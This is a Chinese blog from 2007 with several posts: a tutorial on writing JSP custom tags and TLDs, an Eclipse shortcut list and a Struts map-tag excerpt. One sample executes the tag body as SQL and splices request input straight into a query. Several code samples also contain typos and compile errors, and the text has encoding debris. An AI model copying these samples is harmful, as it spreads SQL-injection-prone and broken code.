    由于校验发生在运行时刻,因此这个属性的值将被赋值为TagData.REQUEST_TIME_VALUE。

    例如tag标签<tt:twa attr1=”value1” />在TLD中定义如下:

    <attribute>

    <name>attr1</name>

    <required>true</required>

    <rtexprvalue>true</rtexprvalue>

    </attribute>


    这个定义说明了attr1能在运行期间被赋值。

    以下的isValid方法检查attr1属性的值是否属于Boolean类型。注意由于attr1能在运行刻被赋值,
    那么isValid方法必须检查tag用户是否对此tag进行了运行时刻赋值。


    Public class TwaTEI extends TagExtraInfo

    {

    public boolean isValid(Tagdata data)

    {

    Object o = data.getAttribute(“attr1”);

    If(o != null && o != TagData.REQUEST_TIME_VALUE)

    {

    if( ( (String)o).toLowerCase().equals(“true”) ||  

    ((String)o).toLowerCase().equals(“false”) )

    return true;

    else

    return false;

    }

    else

    return true;

    }

    }

    带body的tag

    tag处理类


    如果tag标签含有内容,那处理方式会略微有些不同,而且还要视tag处理类是否要与body交互的情况而定。
    如果要与body交互,那我们认为tag处理类要可能要对body进行操作。

    Tag处理类不与body交互

    如果tag处理类不与body交互,tag处理类应该实现Tag接口或从TagSupport中派生,如果body要被计算,
    那么doStartTag方法应返回 EVAL_BODY_INCLUDE,否则应返回SKIP_BODY。

    如果tag处理类要对body反复运算,则它应该实现IterationTag或从TagSupport中派生。如果tag处理类
    认为body还未计算完的话,那它的doStartTag方法和doAfterBody方法必须返回EVAL_BODY_AGAIN。

    Tag处理类与body交互

    如果tag处理类与body交互,那tag处理类应实现BodyTag接口或从BodyTagSupport中派生。这种tag处理类
    一般要实现doInitBody和doAfterBody方法。

    Body允许一些方法来读写它的内容。Tag处理类可以调用body内容的getString或getReader方法来从body中
    提取信息,也可用 writeOut(out) 方法来将body的内容写入到out对象中。其中out对象通过tag处理类的
    getPreviousOut方法来获得。

    如果body的内容需要被计算,那么doStartTag方法必须返回EVAL_BODY_BUFFERED,否则,它将返回SKIP_BODY。

    doInitBody 方法

    此方法在body内容已经设好,但未被计算之前被调用。你可以根据不同的body内容来制定初始化策略。

    doAfterBody方法

    此方法在body内容已被计算后进行调用。

    和doStartTag方法一样,doAfterBody方法返回一个指示符指示是否要继续计算body,如果要继续计算,
    则doAfterBody应返回EVAL_BODY_BUFFERED,否则,它应返回SKIP_BODY。

    release 方法

    tag处理类调用此方法将它的状态重置为初始状态,并释放所有的私有资源。


    以下的例子读取body的内容(其中含有一条sql语句),然后将它传递给一个对象,让它进行查询。
    由于此处body不须重新计算,所以doAfterBody会返回SKIP_BODY。


    Public class QueryTag extends BodyTagSupport

    {

    public int doAfterBody() throws JspTagException

    {

    BodyContent bc = getBodyContent();

    //将body的内容以字符串的格式提取出来

    String query = bc.getString();

    //清除body

    bc.clearBody();

    try{

    Statement stmt = connection.createStatement();

    Result result = stmt.executeQuery(query);

    }catch(SQLException e){

    throw new JspTagException(“queryTag: “ + e.getMessage() );

    return SKIP_BODY;

    }

    }


    body-content元素


    由于tag可能会有body,你必须用body-content元素来指定body内容的类型:

    <body-content>JSP|tagdependent</body-content>


    如果body的内容是定制的或内部的tag、脚本元素、或HTML广本,则归类为JSP类型。其他的类型,
    比如上面代码所述的?D?D将sql statement类传给 query tag的这种类型应该标为tagdependent。

    注意:实际上body-content的值并不影响tag处理类对body内容的处理,它仅仅是被tag编辑工具
    用来描述此body的内容。


    用tags定义脚本变量

    tag处理类


    tag处理类负责创建或设置页面中定义的脚本变量,用pageContext.setAttribute(name,value,scope)
    或pageContext.setAttribute(name,value)方法来实现。一般来说,tag处理类通过脚本变量的名称来
    获取它,脚本变量的名称一般可用get方法来获得。

    如果脚本变量的值依赖于tag处理类中的上下文中某一对象,那它可用pageContext.getAttribute(name,scope)
    方法来找到那个对象。一般的处理过程是tag处理类先找到脚本变量,再对其进行处理,
    然后用pageContext.setAttribute(name,object)的方法来设置它的新值。

    对象的生存周期(scope)如下表:

    对象的生存周期表

    名字
    可访问范围
    生存周期

    page
    当前页面
    一直有效,除非页面向客户提交响应或重定向到一个新页面

    request
    当前页面或当前页面重定向到的页面
    一直有效,除非页面向客户提交响应

    session
    当前页面或在同一浏览器窗口中的页面
    一直有效,除非关闭当前浏览器、超时、网络故障

    application
    整个web应用程序的所有请求
    一直有效,除非发生网络故障、服务器故障

    提供关于脚本变量的信息

    以下示例定义了一个名为“book”的脚本变量,用来访问程序中关于书的信息:

    <bean:define id=”book” name=”bookDB” property=”bookDetails” type=”database.BookDetails” />

    <font color=”red” size=”+2” >

    <%= messages.getString(“CartRemoved”) %>

    <strong><jsp:getProperty name=”book” property=”title” /></strong>

    </font>

    当包含此tag的JSP页面被编译时,jsp引擎会自动生成关于此book的同步的代码
    (同步可以避免几个客户同时访问此book时造成的冲突),要生成同步代码,
    jsp引擎需要知道此脚本变量的如下信息:

    · 脚本变量名称

    · 脚本变量所属的类

    · 此脚本变量是否引用了一个新的或已存在的对象

    · 此脚本变量的有效性

    有两种办法可以向jsp引擎提供关于脚本变量的信息:在TLD中定义variable子元素,
    或用tei-class子元素定义一个额外tag信息类。用variable最简单,但可能降低了一些灵活性。

    Variable元素

    Variable元素有如下子元素:

    · name-given ?D?D 给出的名字,是一个常量

    · name-from-attribute?D?D 属性名,在编译时给出的属性名

    name-given或name-from-attribute两者必须选一,但以下子元素是可选的:

    · variable-class?D?D变量的类型,缺省为java.lang.String。

    · declare?D?D此脚本变量是否引用了一个新对象,缺省为True。

    · scope?D?D脚本变量的范围,缺省为NESTED。下表描述了scope的几种类型:

    脚本变量的有效范围


    有效性
    方法

    NESTED
    在tag标签的开始和结束之间
    如果tag处理类实现BodyTag接口,则在doInitBody和doAfterBody中调用,否则在doStartTag中调用

    AT_BEGIN
    从tag标签的开始一直到页面结束
    如果tag处理类实现BodyTag接口,则在doInitBody、doAfterBody和doEndTag中调用,
    否则在doStartTag和doEndTag中调用

    AT_END
    从tag标签的结束一直到页面结束
    在doEndTag中调用

    以struts为例,它的bean:define标签的实现遵循JSP1.1规范,此规范要求使用额外tag信息类来定义脚本变量。
    Variable元素是JSP1.2规范中加入的。以bean:define标签为例,你可以定义如下variable元素:

    <tag>

    <variable>

    <name-from-attribute>id</name-from-attribute>

    <variable-class>database.BookDetails</variable-class>

    <declare>true</declare>

    <scope>AT_BEGIN</scope>

    </variable>

    </tag>

    额外tag信息类

    如果要定义一个额外tag信息类,你要继承javax.servlet.jsp.TagExtraInfo类。
    一个TagExtraInfo类必须实现getVariableInfo方法,此方法返回一个叫VariableInfo的数组类,
    它包括如下信息:

    · 变量名

    · 变量所属类名

    · 此变量是否引用了一个新对象

    · 此变量的有效范围

    jsp引擎将一个名为data的参数传给getVariableInfo方法,data中包括tag标签中的所有“属性名?D?D属性值”对。
    它可以用来向VariableInfo对象提供脚本变量的名字和类名。

    以struts为例,它在bean:define标签中定义了一个名为DefineTei的额外tag信息类,用来向脚本变量提供信息。
    由于脚本变量的名称(book)和类名(database.BookDetails)是通过tag标签的属性来传递的,
    它们一般定义在VariableInfo的构建代码中,并且可用data.getAttributeString方法来得到这些信息。
    如果要允许book脚本变量能在从tag开始直到整个JSP页面结束的范围内都可用的话,那它的范围应设为AT_BEGIN。
    如下所示:


    public class DefineTei extends TagExtraInfo

    {

    public VariableInfo[] getVariableInfo(TagData data)

    {

    String type = data.getAttributeString(“type”);

    If( type == null)

    type = “java.lang.Object”;

    return new VariableInfo[] {

    new VariableInfo(data.getAttributeString(“id”),  

    type,

    true,

    VariableInfo.AT_BEGIN)

    };

    }

    }


    注意:关于额外tag信息类的类名必须要在TLD中的tag标签下的tei-class子元素中定义。
    因此,DefineTei的tei-class中的定义看起来如下:
    <tei-class>
    org.apache.struts.taglib.bean.DefineTagTei
    </tei-class>


    具有协作关系的tag


    tag通过共享对象来进行协作,JSP技术支持2种方式的对象共享。

    第一种方法是使用pageContext对象进行对象的共享(可支持JSP页面和tag处理类之间的共享),
    如果在一个tag处理类中要调用由另一个tag处理类创建的对象,可调用pageContext.getAttribute(name, scope)方法。

    第二各方式的共享是对于tag之间有嵌套关系而言的,外层的tag所创建的对象对于内层的tag来说是
    可以共用的。这种形式的共享的好处是减少了可能存在的重名冲突。

    要访问一个嵌套tag创建的对象,tag处理类必须先找到此嵌套tag对象,可用TagSupport的静态方法
    TagSupport.findAncestorWithClass(from, class)或TagSupport.getParent方法。前者在当不确定
    此tag是否为嵌套tag对象时使用。一旦它的父类被找到,它就能访问其所有动态或静态创建的对象。
    静态创建的对象是父类的成员,而动态创建的对象可能是父类的私有对象。诸如此类的对象可以用tag处理类的setValue方法来保存,用getValue方法来获得。

    下例阐述了以上两种共享对象的方法。在这个例子当中,一个查询tag检查一个名为connection的属性名
    是否在doStartTag中被设置。如果connection属性被设置,tag处理类从pageContext中得到这个connection对象。
    否则,此tag处理类先找到它的父tag处理类,然后从它的父tag处理类中找到connection对象。


    public class QueryTag extends BodyTagSupport
    {
         private String connectionId;
         public int doStartTag() throws JspException
        {
           String cid = getConnection();
           if(cid != null)
           {
               //存在一个connection id,使用它。
               connection = (Connection) pageContext.getAttribute(cid);
           }
           else
           {
               ConnectionTag ancestorTag = (ConnectionTag)findAncestorWithClass(this,  
               ConnectionTag.class);
               if(ancestorTag == null)
               {
                  throw new JspTagException(“一个没有connection属性的查询标签必须被一个connection标记嵌套。”);
               }
               connection = ancestorTag.getConnection();
           }
        }
    }  

    此查询标签在JSP页面中的调用形式可以从以下2种定义中任选一种:

    <tt:connection id=”con01” ...> ... </tt:connection>

    <tt:query id=”balances” connection=”con01” >

    SELECT account, balance FROM acct_table

    where customer_num = <%= request.getCustno() %>

    </tt:query>

    <tt:connection ...>

    <x:query id=”balances”>

    SELECT account, balance FROM acct_table

    where customer_num = <%= request.getCustno() %>

    </x:query>

    </tt:connection>

    与此同时,在TLD中必须指定connection属性为可选的,定义如下:

    <tag>

    ...

    <attribute>

    <name>connection</name>

    <required>false</required>

    </attribute>

    </tag>

    posted @ 2007-08-14 23:51 jadmin 阅读(79) | 评论 (0)编辑 收藏

    标准的JSP 标记可以调用JavaBeans组件或者执行客户的请求,这大大降低了JSP开发的复杂度和维护量。
    JSP技术也允许你自定义taglib,其实换句话说,taglib可以看成是对JSP标记的一种扩展,正如xml是对
    html的一种扩展一样。taglib通常定义在tag标签库中,这种标签库存放着你自己定义的tag标签。

    简而言之,如果使用taglib,那么你可以设计自己的JSP标记!

    一般来说,自定义tag标签主要用于操作隐藏对象、处理html提交表单、访问数据库或其它企业级的服务,
    诸如邮件和目录操作等等。自定义tag标签的使用者一般都是那些对java编程语言非常精通,而且对数据
    访问和企业级服务访问都非常熟悉的程序员,对于HTML设计者来说,使得他可以不去关注那些较复杂的商
    业逻辑,而将精力放在网页设计上。同时,它也将库开发者和库使用者进行合理分工,自定义tag标签将
    那些重复工作进行封装,从而大大提高了生产力,而且可以使得tag库可用于不同的项目中,完美地体现
    了软件复用的思想。

    在这篇文章中,我们主要讨论:

    · 什么是自定义tag标签?

    · 怎么使用tag标签?

    o 声明要使用的tag库

    o 找到与之对应的tag处理类

    o tag标签的类型

    · 自定义tag标签

    o tag处理类

    o tag库描述

    o tag标签示例

    o 带属性的tag

    o 带body的tag

    o 定义了脚本变量的tag

    o 具有协作关系的tag

    · 自定义tag标签

    o 一个迭代tag的例子

    o 一个模板tag库

    o tag处理类到底是怎样被调用的?


    什么是自定义的tag?

    一个自定义的tag标签是用户定义的一种JSP标记。当一个含有自定义的tag标签的JSP页面被jsp引擎编译
    成servlet时,tag标签被转化成了对一个称为tag处理类的对象进行的操作。于是当JSP页面被jsp引擎转
    化为servlet后,实际上tag标签被转化成为了对tag处理类的操作。

    自定义tag标签有很多特色,诸如:

    · 可以在JSP页面中自定义tag标签的属性

    · 访问JSP页面中的所有对象

    · 可以动态地修改页面输出

    · 彼此这间可以相互通信。你可以先创建一个JavaBeans组件,然后在一个tag中调用此JavaBeans组件,
    同时可以在另一个tag中调用它。

    · tag允许相互嵌套,可以在一个JSP页面中完成一些复杂的交互。


    使用tag标签


    本节主要描述怎样在JSP页面中使用tag标签,以及tag标签的不同类型。

    要使用tag标签,JSP程序员必须做2件事:

    · 声明此tag标签的tag库

    · 实现此tag标签

    声明tag标签所在的tag库

    如果要使用tag标签,则应用JSP的taglib指示符来指定其tag库(注意:taglib要在在使用此tag标签之前声明)

    <%@ taglib uri=”/WEB-INF/tutorial-template.tld” prefix=”tt” %>

    uri属性定义了唯一的标签库描述(以下简称TLD),它可以是直接是tld文件名或一个独一无二的名字。
    prefix是用来区别其它TLD中和本TLD中有重名的tag的一种手段。

    TLD必须以.tld作为扩展名,并且存放在当前应用的WEB-INF目录或其子目录下。你可以通过它的文件名
    直接引用它,也可以通过别的方式间接地引用它。

    以下taglib指示符直接引用一个TLD:

    <%@ taglib uri=”/WEB-INF/tutorial-template.tld” prefix=”tt” %>

    以下的taglib指示符通过一个逻辑名称间接地引用一个TLD:

    <%@ taglib uri=”/tutorial-template” prefix=”tt” %>

    如果是间接引用TLD的话,那你必须还要在web.xml中定义此逻辑名称与tld文件之间的映射,具体做法
    是在web.xml中加入一个名为taglib的元素:

    <taglib>

    <taglib-uri>/tutorial-template</taglib-uri>

    <taglib-location>

    /WEB-INF/tutorial-template.tld

    </taglib-location>

    </taglib>


    实现此tag标签


    为了实现tag标签,你有2种方法来存放tag处理类。一、让tag处理类以.class的方式存放于当前应用
    的WEB-INF/class子目录下,二、如果tag处理类是以JAR包的形式存在的话,那可以放在当前应用的
    WEB-INF/lib目录下,如果tag处理类要在多个应用中共享,那么它就应放在jsp服务器上的common/lib
    目录下,对于tomcat来说,就是tomcat/common/lib目录下。


    tag标签类型


    自定义的tag标签遵循XML语法。它有一个开始标记和一个结束标记,有的还有body(即文本节点):

    <tt:tag>

    body

    </tt:tag>


    一个不带body的tag标签如下:

    <tt:tag />


    简单的tag标签

    一个没有body和属性的tag标签如下:

    <tt:simple />


    带属性的tag标签


    自定义标签可以有自己的属性。属性一般在开始标记中定义,语法为 attr=”value”。属性的作用相当
    于自定义标签的一个参数,它影响着tag处理类的行为。你可以在TLD中详细定义它。

    你可以用一个String常量给一个属性赋值,也可以通过表达式给它赋值,如<%= ...%>。以struts为例,
    它的logic:present标签就是用的String常量来给属性赋值:

    <loglic:present parameter = “Clear”>

    而另一个标签logic:iterate是用表达式来给属性赋值:

    <logci:iterate collection=”<%= bookDB.getBooks() %>”

    id=”book” type=”database.BookDetails”>


    带body的tag标签

    一个自定义标签可以包含其它自定义标签、脚本变量、HTML标记或其它内容。

    在下述例子中,此JSP页面使用了struts的logic:present标签,如果些标签定义了parameter=”Clear”的
    属性,则将清除购物车的内容,然后打印出一条信息:

    <logic:present parameter=”Clear”>

    <% cart.clear(); %>

    <font color=”#ff0000” size=”+2”><strong>

    你选择了清除购物车!

    </strong></font>

    </logic:present>


    到底是用属性还是用body来传递信息?

    如上所述,我们既可以通过属性,也可以通过body来传递信息。但一般来说,比较简单的类型,如字符串
    或简单表达式最好采用属性来传递信息。


    定义脚本变量的tag标签

    所谓脚本变量,是指JSP中可以调用的变量或对象。它可由tag标签产生。以下示例阐述了一个tag标签定义
    了一个名为tx的由JNDI所定义的事务处理对象。脚本变量可以是ejb对象、事务、数据库连接等等:

    <tt:lookup id=”tx” type=”UserTransaction” name=”java:comp/UserTransaction” />

    <% tx.begin(); %>

    ...


    具有协作关系的tag标签

    自定义tag标签之间可以通过共享对象来实现协作。在下述例子中,标签tag1创建了一个名为obj1的对象,
    在标签tag2仍可以重复使用obj。

    <tt:tag1 attr1=”obj1” value1=”value” />

    <tt:tag2 attr1=”obj1” />

    在以下这个例子当中,如果外层的tag标签创建了一个对象,那么其内层的所有tag标签都可以使用这个对象。
    由于这样产生的对象没有一个指定的名字,那么就可以将少重名的冲突。这个例子阐述了一系列协作的嵌套对象。

    <tt:outerTag>

    <tt:innerTag />

    </tt:outerTag>

    Tag处理类


    Tag处理类必须实现Tag接口或BodyTag接口,不过现在一般都流行从TagSupport或BodyTagSupport类中继承,
    这些类或接口都可以在javax.servlet.jsp.tagext包中找到。

    当JSP引擎看到自己的JSP页面中包含有tag标签时,它会调用doStartTag方法来处理tag标签的开头,
    调用doEndTag方法来处理tag标签的结束。

    下表说明不同类型的tag所需要不同的处理过程:

    Tag处理类的方法

    Tag标签类型
    所调用的方法

    基本标签
    doStartTag, doEndTag, release

    带属性的标签
    doStartTag, doEndTag, set/getAttribute1...N, release

    带内容的标签
    doStartTag, doEndTag, release

    带内容的标签,且

    内容重复循环
    doStartTag, doAfterBody, doEndTag, release

    带内容的标签,且内容与JSP交互
    doStartTag, doEndTag, release, doInitBody, doAfterBody, release

    一个tag处理类可以通过javax.servlet.jsp.PageContext来与JSP交互,通过javax.servlet.jsp.PageContext类,
    tag处理类可以访问JSP中的request、session和application对像。

    如果tag标签是互相嵌套的,那内层的tag处理类可以通过它的parent属性来访问上层的tag处理类。

    一般情况都将所有的tag处理类打成了JAR的包,以便于发布。


    Tag库描述(简称TLD)


    Tag库是用xml语言描述的,TLD包括了tag库中所有tag标签的描述,它一般用来被jsp服务器用来校验tag的语法
    正确性,或者被jsp开发者用来开发新的标签。

    TLD的文件扩展名必须为.tld,而且必须放在当前WEB应用的WEB-INF目录或其子目录中。

    一个TLD的内容的开头必须遵守标准的XML开头,用于描述DTD和xml的版本,例如:

    <?xml version="1.0" encoding="ISO-8859-1" ?>

    <!DOCTYPE taglib PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN" "http://java.sun.com/dtd/web-jsptaglibrary_1_2.dtd">
    TLD必须以<taglib>来作为它的根元素,<taglib>的子元素如下表:


    <taglib>的子元素

    Element
    Description

    tlib-version
    Tag库的版本

    jsp-version
    Tag库所需要的jsp的版本

    short-name
    助记符,tag的一个别名(可选)

    uri
    用于确定一个唯一的tag库

    display-name
    被可视化工具(诸如Jbuilder)用来显示的名称(可选)

    small-icon
    被可视化工具(诸如Jbuilder)用来显示的小图标(可选)

    large-icon
    被可视化工具(诸如Jbuilder)用来显示的大图标(可选)

    description
    对tag库的描述(可选)

    listener
    参见下面listener元素

    tag
    参见下面tag 元素

    Listener元素

    一个tag库可能定义一些类做为它的事件侦听类,这些类在TLD中被称为listener 元素,
    jsp服务器将会实例化这些侦听类,并且注册它们。Listener元素中有一个叫listener-class的子元素,
    这个元素的值必须是该侦听类的完整类名。

    Tag元素

    每个tag元素在tag库中都要指出它的名字、类名、脚本变量、tag的属性。其中脚本变量的值可以
    直接在TLD中定义或通过tag附加信息的类来取得。每个属性描述了这个属性是否可以省略,它的值
    是否可以通过<%= …%>这样的JSP语法来获得,以及属性的类型。

    每一个tag在TLD中对应一个tag元素,下表是tag元素的子元素:

    Tag元素的子元素

    元素名称
    描述

    name
    独一无二的元素名

    tag-class
    Tag标签对应的tag处理类

    tei-class
    javax.servlet.jsp.tagext.TagExtraInfo的子类,用于表达脚本变量(可选)

    body-content
    Tag标签body的类型

    display-name
    被可视化工具(诸如Jbuilder)用来显示的名称(可选)

    small-icon
    被可视化工具(诸如Jbuilder)用来显示的小图标(可选)

    large-icon
    被可视化工具(诸如Jbuilder)用来显示的大图标(可选)

    description
    此tag标签的描述

    variable
    提供脚本变量的信息(同tei-class)(可选)

    attribute
    Tag标签的属性名

    以下章节介绍对于不同类型的tag,如何具体地实现它们。


    简单的tag


    tag处理类

    简单的tag处理类必须实现Tag接口的doStartTag和doEndTag方法。当jsp引擎碰到tag标签的开头时,
    doStartTag被调用,因为简单的tag没有body,所以此方法将返回 SKIP_BODY。当jsp引擎碰到tag标签的
    结尾时,doEndTag被调用,如果余下的页面还要被计算,那它将返回EVAL_PAGE,否则将会返回SKIP_PAGE。

    以下是例子:对于标签 <tt:simple /> ,它的tag处理类实现如下:


    public SimpleTag extends TagSupport

    {

    public int doStartTag() throws JspException

    {

    try{

    pageContext.getOut().print(“Hello.”);

    }catch(Exception e){

    throw new JspTagException(“SimpleTag: “ + e.getMessage());

    }

    return SKIP_BODY;

    }

    public int doEndTag()

    {

    return EVAL_PAGE;

    }

    }


    注意:如果tag标签没有内容的话,那必须定义body-content元素为空,例如

    <body-content>empty</body-content>


    带属性的tag标签


    tag处理类

    对于tag标签的每个属性,你必须依照JavaBeans规范来定义其属性,以及get和set方法。以struts的
    logic:present 标签为例,

    <logic:present parameter=”Clear”>

    与此相应,此tag处理类应有如下方法和定义:


    protected String parameter = null;

    public String getParameter()

    {

    return this.parameter;

    }

    public void setParameter(String parameter)

    {

    this.parameter = parameter;

    }


    注意:如果你的属性名为id,而且你的tag处理类是从TagSupport类继承的,那你就不需要定义它的属性
    和set和get方法,因为他们早已在TagSupport被定义过了。

    posted @ 2007-08-14 23:50 jadmin 阅读(100) | 评论 (0)编辑 收藏

    作用域 功能 快捷键
      全局 查找并替换 Ctrl+F
      文本编辑器 查找上一个 Ctrl+Shift+K
      文本编辑器 查找下一个 Ctrl+K
      全局 撤销 Ctrl+Z
      全局 复制 Ctrl+C
      全局 恢复上一个选择 Alt+Shift+↓
      全局 剪切 Ctrl+X
      全局 快速修正 Ctrl1+1
      全局 内容辅助 Alt+/
      全局 全部选中 Ctrl+A
      全局 删除 Delete
      全局 上下文信息 Alt+?
      Alt+Shift+?
      Ctrl+Shift+Space
      Java编辑器 显示工具提示描述 F2
      Java编辑器 选择封装元素 Alt+Shift+↑
      Java编辑器 选择上一个元素 Alt+Shift+←
      Java编辑器 选择下一个元素 Alt+Shift+→
      文本编辑器 增量查找 Ctrl+J
      文本编辑器 增量逆向查找 Ctrl+Shift+J
      全局 粘贴 Ctrl+V
      全局 重做 Ctrl+Y

      查看
      
    作用域 功能 快捷键
      全局 放大 Ctrl+=
      全局 缩小 Ctrl+-

      窗口
      作用域 功能 快捷键
      全局 激活编辑器 F12
      全局 切换编辑器 Ctrl+Shift+W
      全局 上一个编辑器 Ctrl+Shift+F6
      全局 上一个视图 Ctrl+Shift+F7
      全局 上一个透视图 Ctrl+Shift+F8
      全局 下一个编辑器 Ctrl+F6
      全局 下一个视图 Ctrl+F7
      全局 下一个透视图 Ctrl+F8
      文本编辑器 显示标尺上下文菜单 Ctrl+W
      全局 显示视图菜单 Ctrl+F10
      全局 显示系统菜单 Alt+-

      导航
      作用域 功能 快捷键
      Java编辑器 打开结构 Ctrl+F3
      全局 打开类型 Ctrl+Shift+T
      全局 打开类型层次结构 F4
      全局 打开声明 F3
      全局 打开外部javadoc Shift+F2
      全局 打开资源 Ctrl+Shift+R
      全局 后退历史记录 Alt+←
      全局 前进历史记录 Alt+→
      全局 上一个 Ctrl+,
      全局 下一个 Ctrl+.
      Java编辑器 显示大纲 Ctrl+O
      全局 在层次结构中打开类型 Ctrl+Shift+H
      全局 转至匹配的括号 Ctrl+Shift+P
      全局 转至上一个编辑位置 Ctrl+Q
      Java编辑器 转至上一个成员 Ctrl+Shift+↑
      Java编辑器 转至下一个成员 Ctrl+Shift+↓
      文本编辑器 转至行 Ctrl+L

      搜索
      作用域 功能 快捷键
      全局 出现在文件中 Ctrl+Shift+U
      全局 打开搜索对话框 Ctrl+H
      全局 工作区中的声明 Ctrl+G
      全局 工作区中的引用 Ctrl+Shift+G

      文本编辑
      
    作用域 功能 快捷键
      文本编辑器 改写切换 Insert
      文本编辑器 上滚行 Ctrl+↑
      文本编辑器 下滚行 Ctrl+↓

      文件
      作用域 功能 快捷键
      全局 保存 Ctrl+X
      Ctrl+S
      全局 打印 Ctrl+P
      全局 关闭 Ctrl+F4
      全局 全部保存 Ctrl+Shift+S
      全局 全部关闭 Ctrl+Shift+F4
      全局 属性 Alt+Enter
      全局 新建 Ctrl+N

      项目
      作用域 功能 快捷键
      全局 全部构建 Ctrl+B

      源代码
      作用域 功能 快捷键
      Java编辑器 格式化 Ctrl+Shift+F
      Java编辑器 取消注释 Ctrl+\
      Java编辑器 注释 Ctrl+/
      Java编辑器 添加导入 Ctrl+Shift+M
      Java编辑器 组织导入 Ctrl+Shift+O
      Java编辑器 使用try/catch块来包围 未设置,太常用了,所以在这里列出,建议自己设置。
      也可以使用Ctrl+1自动修正。

      运行
      作用域 功能 快捷键
      全局 单步返回 F7
      全局 单步跳过 F6
      全局 单步跳入 F5
      全局 单步跳入选择 Ctrl+F5
      全局 调试上次启动 F11
      全局 继续 F8
      全局 使用过滤器单步执行 Shift+F5
      全局 添加/去除断点 Ctrl+Shift+B
      全局 显示 Ctrl+D
      全局 运行上次启动 Ctrl+F11
      全局 运行至行 Ctrl+R
      全局 执行 Ctrl+U

      重构
      
    作用域 功能 快捷键
      全局 撤销重构 Alt+Shift+Z
      全局 抽取方法 Alt+Shift+M
      全局 抽取局部变量 Alt+Shift+L
      全局 内联 Alt+Shift+I
      全局 移动 Alt+Shift+V
      全局 重命名 Alt+Shift+R
      全局 重做 Alt+Shift+Y

    ============================================================================

    Eclipse快捷键指南

        本文档从Eclipse软件上整理,是列出了标准的快捷键,未列出Emacs快捷键。
    编辑

    posted @ 2007-08-14 12:07 jadmin 阅读(69) | 评论 (0)编辑 收藏
     
    posted @ 2007-08-14 10:10 jadmin 阅读(78) | 评论 (0)编辑 收藏
     
    posted @ 2007-08-14 10:10 jadmin 阅读(68) | 评论 (0)编辑 收藏
     
    posted @ 2007-08-14 10:09 jadmin 阅读(89) | 评论 (0)编辑 收藏
     
    posted @ 2007-08-14 10:08 jadmin 阅读(56) | 评论 (0)编辑 收藏
     
    posted @ 2007-08-14 10:07 jadmin 阅读(70) | 评论 (0)编辑 收藏

    Struts 框架带有几个自定义标签库(有关 Struts 的更多信息的链接请参阅 参考资料 )。这些库中的一个标签可以创建一个支持改写 URL 的链接并用 jsessionid 对改写的连接编码。

    不过有一个问题:如果希望传递一组请求参数(如查询字符串),也许必须为此创建一个 Java scriptlet。真是乱!下面的清单 (search_results.jap) 展示了一个 JSP 页,它被迫加入了这样一个 scriptlet。

     <%@ taglib uri="struts-html" prefix="html" %> <jsp:useBean class="java.util.HashMap" id="deleteParams" /> <% deleteParams.put("id", cd.getId()); deleteParams.put("method","delete"); %> <!-- Pass the map named deleteParams to html:link to generate the request parameters--> <html:link action="/deleteCD" name="deleteParams">delete </html:link> </font></td> 

    search_results.jsp 创建一个 hashmap 并向这个 map 传递两个属性。在下面几小节,我们将创建一个不用 Java 代码完成这项工作的自定义标签。我们的标签将定义如下的一个 hashmap:

     <map:mapDefine id="deleteParams"> <map:mapEntry id="id" name="cd" property="id"/> <map:mapEntry id="method" value="delete"/> </map:mapDefine> <!-- Pass the map named deleteParams to html:link to generate the request parameters--> <html:link action="/deleteCD" name="deleteParams">delete </html:link> </font></td> 

    这将使我们可以容易地创建小型 map。

    这个例子将展示几个关键概念,包括使用嵌套标签和定义 scriplet 变量。首先我将解释这个标签是如何工作的。然后在以后的几节中建立这些概念,并介绍如何编写这个标签的不同形式,使它们处理其正文并控制执行流程。

    posted @ 2007-08-14 10:07 jadmin 阅读(67) | 评论 (0)编辑 收藏
     
    posted @ 2007-08-14 10:06 jadmin 阅读(75) | 评论 (0)编辑 收藏
    一、基本概念:
    *************************************************************************************
    1.标签(Tag):
    标签是一种XML元素,通过标签可以使JSP网页变得简洁并且易于维护,还可以方便地实现同一个JSP文件支持多种语言版本。由于标签是XML元素,所以它的名称和属性都是大小写敏感的

    2.标签库(Tag library):
    由一系列功能相似、逻辑上互相联系的标签构成的集合称为标签库。

    3.标签库描述文件(Tag Library Descriptor):
    标签库描述文件是一个XML文件,这个文件提供了标签库中类和JSP中对标签引用的映射关系。它是一个配置文件,和web.xml是类似的。

    4.标签处理类(Tag Handle Class):
    标签处理类是一个Java类,这个类继承了TagSupport或者扩展了SimpleTag接口,通过这个类可以实现自定义JSP标签的具体功能
    *************************************************************************************


    二、自定义JSP标签的格式:
    *************************************************************************************
    1.<% @ taglib prefix=”someprefix” uri=”/sometaglib” %>
       为了使到JSP容器能够使用标签库中的自定义行为,必须满足以下两个条件:
        1.从一个指定的标签库中识别出代表这种自定义行为的标签
        2.找到实现这些自定义行为的具体类

        第一个必需条件-找出一个自定义行为属于那个标签库-是由标签指令的前缀(Taglib   Directive's Prefix)属性完成,所以在同一个页面中使用相同前缀的元素都属于这个标签库。每个标签库都定义了一个默认的前缀,用在标签库的文档中或者页面中插入自定义标签。所以,你可以使用除了诸如jsp,jspx,java,servlet,sun,sunw(它们都是在JSP白皮书中指定的保留字)之类的前缀。
     
     uri属性满足了以上的第二个要求。为每个自定义行为找到对应的类。这个uri包含了一个字符串,容器用它来定位TLD文件。在TLD文件中可以找到标签库中所有标签处理类的名称

    2.<someprefix:sometag key=”somevalue”/>
     当web应用程序启动时,容器从WEB-INF文件夹的目录结构的META-INF搜索所有以.tld结尾的文件。也就是说它们会定位所有的TLD文件。对于每个TLD文件,容器会先获取标签库的URI,然后为每个TLD文件和对应的URI创建映射关系。
    在JSP页面中,我们仅需通过使用带有URI属性值的标签库指令来和具体的标签库匹配
    *************************************************************************************


    三、自定义JSP标签的处理过程:
    *************************************************************************************
    1.在JSP中引入标签库:<% @ taglib prefix=”taglibprefix” uri=”tagliburi” %>
    2.在JSP中使用标签库标签:<prefix : tagname attribute=”tagattribute”>
    3.Web容器根据第二个步骤中的prefix,获得第一个步骤中声明的taglib的uri属性值
    4.Web容器根据uri属性在web.xml找到对应的<taglib>元素
    5.从<taglib>元素中获得对应的<taglib-location>元素的值
    6.Web容器根据<taglib-location>元素的值从WEB-INF/目录下找到对应的.tld文件
    7.从.tld文件中找到与tagname对应的<tag>元素
    8.凑<tag>元素中获得对应的<tag-class>元素的值
    9.Web容器根据<tag-class>元素的值创建相应的tag handle class的实例
    10. Web容器调用这个实例的doStartTag/doEndTag方法完成相应的处理
    *************************************************************************************


    四、创建和使用一个Tag Library的基本步骤:
    *************************************************************************************
    1.创建标签的处理类(Tag Handler Class)
    2.创建标签库描述文件(Tag Library Descrptor File)
